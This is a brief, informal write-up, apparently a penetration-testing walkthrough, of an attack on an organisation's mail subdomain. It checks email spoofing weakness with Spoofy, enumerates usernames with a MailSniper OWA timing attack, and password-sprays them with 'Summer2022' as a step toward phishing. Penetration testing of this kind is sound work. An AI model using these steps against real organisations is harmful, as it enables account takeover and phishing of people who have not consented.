We can use spoofy to find out Weak Email Security, Weak email security (SPF, DMARC and DKIM) may allow us to spoof emails to appear as though they’re coming from their own domain. Spoofy is a Python tool that can verify the email security of a given domain.
In this Case scenario i have a subdomain that is mail.redacted.io, i will now password spray against this domain so that i can phish the target, for this i will use MailSniper
now we need to find the valid usernames so we can do username enumeration, you can find it by alot of methods like public website or hunter.io, now we will start our attack on the mail subdomain, Invoke-UsernameHarvestOWA uses a timing attack to validate which (if any) of these usernames are valid.
we have found 3 valid usernames now we will try to password spray as well using mailsniper and we will use the password of Summer2022 just to test because alot of organizations are using the default password